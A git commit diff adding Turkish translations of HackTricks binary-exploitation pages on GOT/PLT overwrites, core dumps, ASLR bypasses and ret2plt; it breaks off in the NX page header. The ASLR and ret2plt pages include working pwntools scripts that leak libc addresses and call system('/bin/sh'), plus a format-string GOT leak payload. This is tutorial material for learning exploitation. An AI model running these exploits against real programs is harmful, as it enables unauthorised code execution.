Translated ['reversing-and-exploiting/linux-exploiting-basic-esp/arbitra

This commit is contained in:
Translator 2024-03-30 23:43:50 +00:00
parent b6a56a74ef
commit 0c76a7d4c2
17 changed files with 984 additions and 130 deletions

View file

@ -705,15 +705,19 @@
* [Ret2syscall](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md)
* [Format Strings](reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md)
* [Format Strings Template](reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/format-strings-template.md)
* [Common Binary Protections](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/README.md)
* [Relro](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/relro.md)
* [No-exec / NX](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/no-exec-nx.md)
* [Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/stack-canaries.md)
* [ASLR](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/aslr.md)
* [Common Binary Protections & Bypasses](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/README.md)
* [ASLR](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/README.md)
* [Ret2plt](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/ret2plt.md)
* [No-exec / NX](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/no-exec-nx.md)
* [PIE](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md)
* [BF Addresses in the Stack](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md)
* [Relro](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/relro.md)
* [Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md)
* [BF Forked Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md)
* [Print Stack Canary](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md)
* [Arbitrary Write 2 Exec](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/README.md)
* [AW2Exec - GOT/PLT](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md)
* [ELF Basic Information](reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md)
* [Bypassing Canary & PIE](exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md)
* [Fusion](exploiting/linux-exploiting-basic-esp/fusion.md)
* [Exploiting Tools](exploiting/tools/README.md)
* [PwnTools](exploiting/tools/pwntools.md)

View file

@ -6,11 +6,11 @@
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
</details>
@ -18,48 +18,48 @@ HackTricks'ı desteklemenin diğer yolları:
### **GOT: Global Offset Table**
**Global Offset Table (GOT)**, dinamik olarak bağlanmış ikili dosyalarda **harici fonksiyonların adreslerini yönetmek için kullanılan bir mekanizmadır**. Bu adresler, **çalışma zamanında bilinmediğinden** (dinamik bağlantı nedeniyle) GOT, bu harici sembollerin adreslerini **çözüldükten sonra dinamik olarak güncellemek için bir yol sağlar**.
**Global Offset Table (GOT)**, dinamik olarak bağlanmış ikili dosyalarda **harici işlevlerin adreslerini yönetmek için kullanılan bir mekanizmadır**. Bu adresler, **çalışma zamanında bilinmediğinden** (dinamik bağlantı nedeniyle) GOT, bu harici sembollerin adreslerini **çözüldükten sonra dinamik olarak güncellemek için bir yol sağlar**.
GOT'taki her giriş, ikili dosyanın çağırabileceği harici kütüphanelerdeki bir sembole karşılık gelir. Bir **fonksiyon ilk çağrıldığında, gerçek adresi dinamik bağlayıcı tarafından çözülür ve GOT'ta depolanır**. Aynı fonksiyona yapılan sonraki çağrılar, GOT'ta depolanan adresi kullanır, böylece adresi tekrar çözme işleminden kaçınılır.
GOT'taki her giriş, ikili dosyanın çağırabileceği harici kütüphanelerdeki bir sembole karşılık gelir. **Bir işlev ilk kez çağrıldığında, gerçek adresi dinamik bağlayıcı tarafından çözülür ve GOT'ta depolanır**. Aynı işlevin sonraki çağrıları, GOT'ta depolanan adresi kullanır, böylece adresi tekrar çözme gereksiniminden kaçınılır.
### **PLT: Procedure Linkage Table**
**Procedure Linkage Table (PLT)**, GOT ile yakından çalışır ve harici fonksiyonlara yapılan çağrıları işlemek için bir trambolin olarak hizmet eder. Bir ikili **harici bir fonksiyonu ilk kez çağırdığında, kontrol o fonksiyonla ilişkili PLT girişine geçer**. Bu PLT girişi, fonksiyonun adresini çözmek için dinamik bağlayıcıyı çağırmaktan sorumludur eğer adres daha önce çözülmediyse. Adres çözüldükten sonra, GOT'ta depolanır.
**Procedure Linkage Table (PLT)**, GOT ile yakından çalışır ve harici işlevlere yapılan çağrıları işlemek için bir trambolin olarak hizmet eder. Bir ikili **harici bir işlevi ilk kez çağırdığında, kontrol o işlevle ilişkilendirilmiş PLT girişine geçer**. Bu PLT girişi, işlevin adresini çözmek için dinamik bağlayıcıyı çağırmaktan sorumludur eğer daha önce çözülmediyse. Adres çözüldükten sonra GOT'ta depolanır.
**Bu nedenle,** harici bir fonksiyonun veya değişkenin adresi çözüldüğünde GOT girişleri doğrudan kullanılır. **PLT girişleri, bu adreslerin başlangıçta çözülmesini** dinamik bağlayıcı aracılığıyla kolaylaştırmak için kullanılır.
**Bu nedenle,** harici bir işlevin veya değişkenin adresi çözüldüğünde GOT girişleri doğrudan kullanılır. **PLT girişleri, bu adreslerin başlangıçta çözülmesini** dinamik bağlayıcı aracılığıyla kolaylaştırmak için kullanılır.
## Yürütme Al
### GOT'u Kontrol Et
**GOT tablosunun adresini almak için:** **`objdump -s -j .got ./exec`**
**`objdump -s -j .got ./exec`** ile GOT tablosunun adresini alın
![](<../../../.gitbook/assets/image (619).png>)
GEF'de **yürütüldükten sonra** **yürütülebilir** dosyayı **yükledikten sonra** GOT'ta **bulunan fonksiyonları görebilirsiniz**: `gef➤ x/20x 0xDIR_GOT`
GEF'de **yürütülebilir** dosyayı **yükledikten** sonra GOT'ta **bulunan** **işlevleri görebilirsiniz**: `gef➤ x/20x 0xDIR_GOT`
![](<../../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>)
![](<../../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>)
GEF kullanarak **hata ayıklama** oturumu başlatabilir ve GOT tablosunu görmek için **`got`** komutunu çalıştırabilirsiniz:
GEF kullanarak **hata ayıklama** oturumu başlatabilir ve **`got`** komutunu çalıştırarak got tablosunu görebilirsiniz:
![](<../../../.gitbook/assets/image (621).png>)
### GOT2Exec
Bir ikili dosyada GOT, **fonksiyonların adreslerine veya** **fonksiyon adresini yükleyecek olan PLT** bölümüne sahiptir. Bu keyfi yazma işleminin amacı, daha sonra **`system`** **fonksiyonunun PLT'sinin adresiyle** bir fonksiyonun GOT girişini **üzerine yazmaktır**.
Bir ikili dosyada GOT, **işlevlerin adreslerine veya** işlev adresini yükleyecek olan **PLT** bölümüne sahiptir. Bu keyfi yazmanın amacı, daha sonra **çalıştırılacak bir işlevin GOT girişini** değiştirmektir **örneğin** `system` **işlevinin PLT adresiyle**.
İdeal olarak, **kontrolünüzdeki parametrelerle çağrılacak bir fonksiyonun GOT'unu** **üzerine yazacaksınız** (böylece sistem fonksiyonuna gönderilen parametreleri kontrol edebileceksiniz).
İdeal olarak, **kontrolünüzdeki parametrelerle çağrılacak bir işlevin GOT'unu** **üzerine yazacaksınız** (böylece sistem işlevine gönderilen parametreleri kontrol edebileceksiniz).
Eğer **`system`** **betiğin içinde kullanılmıyorsa**, sistem fonksiyonunun **PLT'de bir girişi olmayacak**. Bu senaryoda, önce `system` fonksiyonunun adresini sızdırmanız ve ardından GOT'u bu adrese işaret etmek için üzerine yazmanız gerekecektir.
Eğer **`system`** **kullanılmıyorsa** betik tarafından, sistem işlevinin **PLT'de bir girişi olmayacak**. Bu senaryoda, `system` işlevinin adresini sızdırmanız ve ardından GOT'u bu adrese işaret etmek için üzerine yazmanız gerekecektir.
PLT adreslerini **`objdump -j .plt -d ./vuln_binary`** ile görebilirsiniz.
PLT adreslerini **`objdump -j .plt -d ./vuln_binary`** ile görebilirsiniz
## **Koruma**
**FullRELRO** koruması, ikili başlatıldığında tüm fonksiyonların adreslerini çözerek ve ardından **GOT tablosunu salt okunur hale getirerek** bu tür tekniklere karşı koruma sağlar:
**FullRELRO** koruması, ikili başlatıldığında tüm işlevlerin adreslerini çözerek ve ardından **GOT tablosunu salt okunur hale getirerek** bu tür tekniklere karşı koruma sağlar:
{% content-ref url="../common-binary-protections/relro.md" %}
[relro.md](../common-binary-protections/relro.md)
{% content-ref url="../common-binary-protections-and-bypasses/relro.md" %}
[relro.md](../common-binary-protections-and-bypasses/relro.md)
{% endcontent-ref %}
<details>
@ -68,10 +68,10 @@ PLT adreslerini **`objdump -j .plt -d ./vuln_binary`** ile görebilirsiniz.
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
</details>

View file

@ -0,0 +1,53 @@
# Ortak Binary Korumaları
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
## Çekirdek Dosyalarını Etkinleştir
**Çekirdek dosyaları**, bir işlem çöktüğünde işletim sistemi tarafından oluşturulan bir tür dosyadır. Bu dosyalar, çöken işlemin bellek görüntüsünü, kayıtlarını ve program sayacı durumunu içeren ayrıntıları içerir. Bu anlık görüntü, çökmeye neden olanı hata ayıklamak ve anlamak için son derece değerli olabilir.
### **Çekirdek Dökümü Oluşturmayı Etkinleştirme**
Varsayılan olarak, birçok sistem çekirdek dosyalarının boyutunu 0'a (yani çekirdek dosyaları oluşturmaz) sınırlar ve disk alanı tasarrufu yapar. Çekirdek dosyalarının oluşturulmasını etkinleştirmek için `ulimit` komutunu (bash veya benzer kabuklarda) kullanabilir veya sistem genelinde ayarlar yapılandırabilirsiniz.
* **Ulimit Kullanımı**: `ulimit -c unlimited` komutu geçerli kabuk oturumunun sınırsız boyutta çekirdek dosyaları oluşturmasına izin verir. Bu, hata ayıklama oturumları için faydalıdır ancak yeniden başlatmalar veya yeni oturumlar arasında kalıcı değildir.
```bash
ulimit -c unlimited
```
* **Kalıcı Yapılandırma**: Daha kalıcı bir çözüm için, tüm kullanıcıların oturumlarında ulimit'i manuel olarak ayarlamadan sınırsız boyutta core dosyaları oluşturmalarına izin veren `* soft core unlimited` gibi bir satırı içeren `/etc/security/limits.conf` dosyasını düzenleyebilirsiniz.
```markdown
* soft core unlimited
```
### **GDB ile Çekirdek Dosyalarının Analizi**
Bir çekirdek dosyasını analiz etmek için, GDB (GNU Debugger) gibi hata ayıklama araçlarını kullanabilirsiniz. Varsayalım ki bir yürütülebilir dosya bir çekirdek dökümü oluşturdu ve çekirdek dosyasının adı `core_file` ise, analize şu şekilde başlayabilirsiniz:
```bash
gdb /path/to/executable /path/to/core_file
```
Bu komut, yürütülebilir dosyayı ve çekirdek dosyasını GDB'ye yükler ve programın çökme anındaki durumunu incelemenizi sağlar. Stack'i keşfetmek, değişkenleri incelemek ve çökmenin nedenini anlamak için GDB komutlarını kullanabilirsiniz.
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünleri**]'ni (https://peass.creator-spring.com) edinin
* [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın veya** bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -0,0 +1,144 @@
# ASLR
<details>
<summary><strong>AWS hacklemeyi sıfırdan ileri seviyeye öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
## Temel Bilgiler
**Adres Alanı Düzeni Rastgeleleştirme (ASLR)**, işletim sistemlerinde kullanılan bir güvenlik tekniğidir ve sistem ve uygulama süreçleri tarafından kullanılan bellek adreslerini **rastgeleleştirir**. Böyle yaparak, belirli süreçlerin ve verilerin konumunu, özellikle tampon taşmalarını hafifletmek için, tahmin etmek için saldırganın işini önemli ölçüde zorlaştırır.
### **ASLR Durumunu Kontrol Etme**
Bir Linux sistemde ASLR durumunu **kontrol etmek** için, `/proc/sys/kernel/randomize_va_space` dosyasındaki değeri okuyabilirsiniz. Bu dosyada saklanan değer, uygulanan ASLR türünü belirler:
* **0**: Rastgeleleştirme yok. Her şey statiktir.
* **1**: Muhafazakar rastgeleleştirme. Paylaşılan kütüphaneler, yığın, mmap(), VDSO sayfası rastgeleleştirilir.
* **2**: Tam rastgeleleştirme. Muhafazakar rastgeleleştirme tarafından rastgeleleştirilen öğelerin yanı sıra, `brk()` ile yönetilen bellek de rastgeleleştirilir.
ASLR durumunu aşağıdaki komutla kontrol edebilirsiniz:
```bash
cat /proc/sys/kernel/randomize_va_space
```
### **ASLR'nin Devre Dışı Bırakılması**
ASLR'yi **devre dışı bırakmak** için `/proc/sys/kernel/randomize_va_space` değerini **0** olarak ayarlarsınız. ASLR'nin devre dışı bırakılması genellikle test veya hata ayıklama senaryoları dışında önerilmez. İşte nasıl devre dışı bırakılacağı:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
Ayrıca, bir yürütme için ASLR'yi devre dışı bırakabilirsiniz:
```bash
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
```
### **ASLR'yi Etkinleştirme**
ASLR'yi **etkinleştirmek** için, genellikle kök izinleri gerektiren `/proc/sys/kernel/randomize_va_space` dosyasına **2** değeri yazabilirsiniz. Tam rasgeleleştirme etkinleştirmek için aşağıdaki komutu kullanabilirsiniz:
```bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
```
### **Yeniden Başlatmalara Karşı Kalıcılık**
`echo` komutları ile yapılan değişiklikler geçicidir ve yeniden başlatıldığında sıfırlanacaktır. Değişikliği kalıcı hale getirmek için `/etc/sysctl.conf` dosyasını düzenleyip aşağıdaki satırı eklemeniz veya değiştirmeniz gerekmektedir:
```tsconfig
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
```
`/etc/sysctl.conf` dosyasını düzenledikten sonra değişiklikleri uygulamak için:
```bash
sudo sysctl -p
```
Bu, ASLR ayarlarınızın yeniden başlatmalar arasında kalmasını sağlayacaktır.
## **Atlatmalar**
### 32 bit kaba kuvvet saldırısı
PaX işlem adres alanını **3 grup** a böler:
* **Kod ve veri** (başlatılmış ve başlatılmamış): `.text`, `.data` ve `.bss` —> `delta_exec` değişkeninde **16 bit** entropi. Bu değişken her işlemle rastgele başlatılır ve başlangıç adreslerine eklenir.
* `mmap()` tarafından ayrılan **Bellek** ve **paylaşılan kütüphaneler** —> **16 bit**, `delta_mmap` olarak adlandırılır.
* **Yığın** —> **24 bit**, `delta_stack` olarak adlandırılır. Ancak, etkili olarak **11 bit** kullanır (10. ile 20. bayt arasında dahil), **16 bayt**'a hizalanmıştır —> Bu, **524,288 olası gerçek yığın adresi**ne yol açar.
Önceki veriler 32 bit sistemler içindir ve azaltılmış son entropi, saldırı başarılı bir şekilde tamamlanana kadar işlemi tekrar tekrar deneyerek ASLR'yi atlatmayı mümkün kılar.
#### Kaba kuvvet fikirleri:
* Saldırı yerel ise, libc'in temel adresini kaba kuvvetle deneyebilirsiniz (32 bit sistemler için faydalıdır):
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
* Uzak bir sunucuyu hedef alıyorsanız, `libc` fonksiyonu `usleep`'in adresini **10 (örneğin) olarak argüman geçerek** **kaba kuvvet uygulayabilirsiniz**. Eğer sunucu cevap vermek için **10 saniye daha fazla zaman alıyorsa**, bu fonksiyonun adresini buldunuz demektir.
{% hint style="success" %}
64 bit sistemlerde entropi çok daha yüksektir ve bu mümkün değildir.
{% endhint %}
### Sızıntıya sahip olmak
* **Zorluk, bir sızıntı verilmesidir**
Eğer bir sızıntı verilirse (kolay CTF zorlukları), bu sızıntıdan ofsetleri hesaplayabilirsiniz (örneğin, sömürdüğünüz sistemde kullanılan libc sürümünü tam olarak bildiğinizi varsayalım). Bu örnek saldırı, [**buradaki örneğin**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) çıkarımından alınmıştır (daha fazla ayrıntı için o sayfaya bakın):
```python
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)
libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
```
* **ret2plt**
Bir tampon taşması kullanarak **ret2plt**'yi istismar etmek, libc'den bir işlevin adresini dışarı sızdırmak mümkün olabilir. Kontrol edin:
{% content-ref url="ret2plt.md" %}
[ret2plt.md](ret2plt.md)
{% endcontent-ref %}
* **Format Strings Arbitrary Read**
Ret2plt'de olduğu gibi, bir format dizileri zafiyeti aracılığıyla keyfi okuma yapabilirseniz, **libc işlevi**nin adresini GOT'tan dışarı sızdırmak mümkündür. Aşağıdaki [**örnek buradan alınmıştır**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got):
```python
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
payload += b'%3$s' # The third parameter points at the start of the buffer
# this part is only relevant if you need to call the main function again
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
```
### Ret2ret
ASLR atlamak için yığın içindeki adresleri istismar etmeyi deneyin:
{% content-ref url="../../stack-overflow/ret2ret.md" %}
[ret2ret.md](../../stack-overflow/ret2ret.md)
{% endcontent-ref %}

View file

@ -0,0 +1,96 @@
# Ret2plt
<details>
<summary><strong>AWS hacklemeyi sıfırdan ileri seviyeye öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
## Temel Bilgiler
Bu teknikteki amaç, **PLT'den bir işlevin adresini sızdırmak** ve ASLR'yi atlamak için kullanmaktır. Bu, örneğin, libc'den `puts` işlevinin adresini sızdırırsanız, daha sonra **`libc`'nin başlangıç adresini hesaplayabilir** ve diğer işlevlere erişmek için **`system`** gibi işlevlere erişmek için ofsetleri hesaplayabilirsiniz.
Bu, `pwntools` yüküyle şu şekilde yapılabilir ([**buradan**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got)):
```python
# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)
# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)
```
**`puts`** fonksiyonunun (PLT'den alınan adresi kullanarak) `GOT` içinde bulunan `puts` adresi ile çağrıldığına dikkat edin. Bu, `puts` `GOT` girdisini yazdırdığında, bu girişin bellekteki `puts` adresini içereceği anlamına gelir.
Ayrıca, sömürüde `main` adresinin nasıl kullanıldığına dikkat edin, böylece `puts` işlemini bitirdiğinde, **binary çıkış yapmak yerine `main`i tekrar çağırır** (bu nedenle sızdırılan adres geçerli olmaya devam eder).
{% hint style="danger" %}
Bu işin çalışması için, **binary'nin PIE ile derlenmemiş olması** veya `PLT`, `GOT` ve `main` adreslerini bilmek için **PIE'yi atlamak için bir sızıntı bulmuş olmanız** gerekir.
{% endhint %}
Bu atlamayı içeren [**tam bir örneği buradan bulabilirsiniz**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). Bu, örneğin finaldeki sömürüydü:
```python
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvline()
payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)
p.sendline(payload)
puts_leak = u32(p.recv(4))
p.recvlines(2)
libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)
p.sendline(payload)
p.interactive()
```
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
</details>

View file

@ -0,0 +1,40 @@
# No-exec / NX
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
